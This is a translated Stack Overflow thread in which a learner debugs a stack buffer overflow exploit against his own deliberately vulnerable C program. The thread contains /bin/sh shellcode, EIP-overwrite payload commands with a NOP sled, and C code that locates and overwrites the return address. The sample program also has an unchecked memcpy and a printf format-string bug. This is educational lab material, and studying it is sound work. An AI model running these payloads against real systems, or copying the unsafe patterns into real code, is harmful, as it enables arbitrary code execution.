为什么我的栈缓冲区溢出攻击无法生效?

7

我有一个非常简单的stackoverflow问题:

#include <stdio.h>

int main(int argc, char *argv[]) {

    char buf[256];
    memcpy(buf, argv[1],strlen(argv[1]));
    printf(buf);

}

我正在尝试使用以下代码进行溢出:

$(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*237 + 'c8f4ffbf'.decode('hex')")

当我溢出堆栈时,我成功地用想要的地址覆盖了EIP,但是接着没有任何事情发生。我的shellcode没有被执行。

有人看到问题了吗?注意:我的python可能有误。


更新

我不明白的是为什么我的代码没有被执行。例如,如果我把eip指向空操作码,空操作码就永远不会被执行。就像这样,

$(python -c "print '\x90'*50 + 'A'*210 + '\xc8\xf4\xff\xbf'")

更新

请问有人能够在linux x86上利用这个溢出并发布结果吗?


更新

不要紧,我已经成功了。感谢大家的帮助。


更新

嗯,我原以为已经成功了。我确实获得了一个shell,但现在我正在尝试再次操作,并且遇到了问题。

我所做的只是在开头溢出堆栈并指向我的shellcode。像这样:

r $(python -c 'print "A"*260 + "\xcc\xf5\xff\xbf"')

这应该指向A的。现在我不明白的是为什么我的结尾地址在gdb中被改变了。

这是gdb给我的结果,

Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff5cd in ?? ()

\xcc变成了\xcd。这是否与我使用gdb时遇到的错误有关?

例如,当我用“B”填充该地址时,使用\x42\x42\x42\x42可以正常解析。那是什么原因呢?

如果能得到任何帮助,将不胜感激。

此外,我正在使用以下选项进行编译:

gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o so so.c

这真的很奇怪,因为除了我需要的那个地址外,任何其他地址都有效。


更新

我可以在gdb中使用以下命令成功地生成一个shell:

$(python -c "print '\x90'*37 +'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*200 + '\xc8\xf4\xff\xbf'")

但我不明白为什么有时候可以工作,有时候却不能。有时我的覆盖过的 eip 被 gdb 改变了。有人知道我错过了什么吗?此外,我只能在 gdb 中生成 shell,而不能在正常进程中生成。更糟糕的是,我似乎只能在 gdb 中启动一次 shell,然后 gdb 就停止工作了。

例如,现在当我运行以下命令时,在 gdb 中会出现这种情况...

Starting program: /root/so $(python -c 'print "A"*260 + "\xc8\xf4\xff\xbf"')

Program received signal SIGSEGV, Segmentation fault.
0xbffff5cc in ?? ()

这似乎是由于execstack被打开引起的。


更新

是的,出于某种原因,我现在得到了不同的结果,但是漏洞利用现在正在工作。所以谢谢大家的帮助。如果有人能解释一下我上面收到的结果,我全听着。谢谢。


2
你的意思是缓冲区溢出吗? - Sam Redway
1
@SamRedway 自动变量通常写在堆栈中,因此在这里是等效的。 - Jean-François Fabre
是的,我是指缓冲区溢出... - watchy
这正是我想表达的,Jean-Francois。 - watchy
@Jean-FrançoisFabre:这并不一定是真的,即使对于x86/64也是如此。 - too honest for this site
显示剩余16条评论
3个回答

2
有几种保护措施,可以防止攻击直接从编译器发起。例如,您的堆栈可能不可执行。
使用以下命令检查文件:readelf -l <filename> 如果输出包含以下内容: GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 这意味着您只能在堆栈上读取和写入(因此您应该使用“返回到libc”来生成shell)。
还有可能存在canary保护,这意味着您的变量和指令指针之间的部分内存包含一个短语,用于检查完整性,如果被您的字符串覆盖,则程序将退出。
如果尝试在自己的程序上进行此操作,请考虑使用gcc命令删除一些保护措施: gcc-z execstack 另外请注意您的汇编代码,通常在shell代码之前插入nops,以便您不必精确地定位您的shell代码开始的地址。 $(python -c"print '\x90'*37 +'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' +'A'*200 + '\xc8\xf4\xff\xbf'") 请注意,在应放置在指令指针内的地址中,可以修改最后的十六进制数字,以将其指向nops中的某个位置,而不一定是缓冲区的开头。
当然,如果您尝试类似于这样的操作,gdb应该成为您最好的朋友。
希望这有所帮助。

好的,那解释了一些事情。 - watchy
当我启用execstack设置时,以下内容停止工作:例如r $(python -c 'print "\x90"*260 + "\xc8\xf4\xff\xff\xbf"'),其中的 \xbf 被替换为 \xff。为什么会这样? - watchy
@user2715077 一个地址太多了 :) - orestiss
啊,我的错。谢谢你。不过我还是有困难完成这个任务。 - watchy
那就是它没有工作的原因,我的地址不正确,而且堆栈没有设置为可执行。 - watchy

0

当我尝试执行堆栈缓冲区溢出时,我遇到了类似的问题。我发现在GDB中我的返回地址与正常进程中的不同。我所做的是添加以下内容:

unsigned long printesp(void){
    __asm__("movl %esp,%eax");
}

在 main 函数结束前调用它,就在 Return 之前,以了解堆栈的情况。然后,我只需通过从打印出来的 ESP 中减去 4 的值进行操作,直到它起作用为止。

0

这样写不太可行。然而,它是可能的,所以请继续阅读...


当调用main函数时,了解实际的堆栈布局是有帮助的。它比大多数人意识到的要复杂一些。

假设使用POSIX操作系统(例如Linux),内核将在固定地址设置堆栈指针。

内核执行以下操作:

它计算所需的环境变量字符串空间大小(即所有环境变量的strlen("HOME=/home/me") + 1),并向下(向较低的内存)方向将这些字符串“推”到堆栈上。然后计算它们的数量(例如envcount),并在堆栈上创建一个char *envp[envcount + 1],并使用指向给定字符串的指针填充envp值。它将此envp置为空。

类似的过程也适用于argv字符串。

然后,内核加载ELF解释器。内核使用ELF解释器的起始地址启动进程。 ELF解释器最终调用“start”函数(例如_start 来自crt0.o),该函数进行一些初始化,然后调用 main(argc,argv,envp)

这就是调用 main 时堆栈的大致样子:

"HOME=/home/me"
"LOGNAME=me"
"SHELL=/bin/sh"

// alignment pad ...

char *envp[4] = {
    // address of "HOME" string
    // address of "LOGNAME" string
    // address of "SHELL" string
    NULL
};

// string for argv[0] ...
// string for argv[1] ...
// ...

char *argv[] = {
    // pointer to argument string 0
    // pointer to argument string 1
    // pointer to argument string 2
    NULL
}

// possibly more stuff put in by ELF interpreter ...

// possibly more stuff put in by _start function ...

在x86架构上,argc、argv和envp指针的值被放置在x86 ABI的前三个参数寄存器中。

这里有一个问题[实际上是多个问题]...

当所有这些都完成时,您几乎不知道shell代码的地址在哪里。因此,您编写的任何代码必须是RIP相对寻址并且[可能]使用-fPIC构建。

而且,生成的代码不能在中间有零字节,因为这被内核传递为EOS终止字符串。因此,具有零(例如<byte0>,<byte1>,<byte2>,0x00,<byte5>,<byte6>,...)的字符串只会传输前三个字节,而不是整个shell代码程序。

您也不知道堆栈指针值是多少。

此外,您需要查找堆栈上的内存单元,其中包含返回地址(即,这就是start函数的call main汇编指令推送的内容)。

这个包含返回地址的单词必须设置为 shell code 的地址。但是,它并不总是相对于 main 栈帧变量(例如 buf)有一个固定的偏移量。因此,你无法预测要修改哪个栈上的单词以获得“返回到 shell code”的效果。

此外,在 x86 架构中,有特殊的缓解硬件。例如,可以将页面标记为 NX [no execute]。这通常是针对某些段,如堆栈。如果 RIP 被更改为指向堆栈,则硬件将故障。


这里有一个[简单]的解决方案...

gcc有一些内置函数可以帮助: __builtin_return_address, __builtin_frame_address

所以,从内部获取真实返回地址的值[称之为retadr]。获取堆栈帧的地址[称之为fp]。

fp开始,并向更高的内存递增(按sizeof(void*)),找到与retadr匹配的单词。这个内存位置就是你想要修改指向shell代码的位置。它可能在偏移量0或8处。

然后执行:*fp = argv[1]并返回。

请注意,由于如果堆栈设置了NX位,则argv[1]指向的字符串在堆栈上,因此可能需要额外的步骤。


这里是一些可行的示例代码:

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>

void
shellcode(void)
{
    static char buf[] = "shellcode: hello\n";
    char *cp;

    for (cp = buf;  *cp != 0;  ++cp);

    // NOTE: in real shell code, we couldn't rely on using this function, so
    // these would need to be the CPP macro versions: _syscall3 and _syscall2
    // respectively or the syscall function would need to be _statically_
    // linked in
    syscall(SYS_write,1,buf,cp - buf);
    syscall(SYS_exit,0);
}

int
main(int argc,char **argv)
{
    void *retadr = __builtin_return_address(0);
    void **fp = __builtin_frame_address(0);
    int iter;

    printf("retadr=%p\n",retadr);
    printf("fp=%p\n",fp);

    // NOTE: for your example, replace:
    //   *fp = (void *) shellcode;
    // with:
    //   *fp = (void *) argv[1]

    for (iter = 20;  iter > 0;  --iter, fp += 1) {
        printf("fp=%p %p\n",fp,*fp);
        if (*fp == retadr) {
            *fp = (void *) shellcode;
            break;
        }
    }

    if (iter <= 0)
        printf("main: no match\n");

    return 0;
}

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接